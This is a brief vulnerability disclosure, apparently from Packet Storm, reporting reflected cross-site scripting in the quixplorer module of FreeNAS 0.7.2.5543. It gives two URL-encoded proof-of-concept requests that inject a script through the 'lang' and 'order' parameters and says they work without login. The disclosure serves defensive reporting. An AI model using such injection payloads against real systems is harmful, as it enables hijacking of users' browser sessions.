Freenas version 0.7.2.5543 suffers from a cross site scripting vulnerability.
f4d184c2dc2bad34444e9b196e6ea6a9Good morning, you can xss freenas stable (0.7.2.5543)
like this
http://192.168.0.1/quixplorer/index.php?action=list&order=name&srt=yes&lang=en%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E
or this ...
http://192.168.0.1/quixplorer/index.php?action=list&order=nan%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3Eme&srt=yes
etc.
This will work regardless of the user being logged into the quixplorer
module or freenas.
--
question = ( to ) ? be : ! be; -- Wm. Shakespeare
© 2012 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!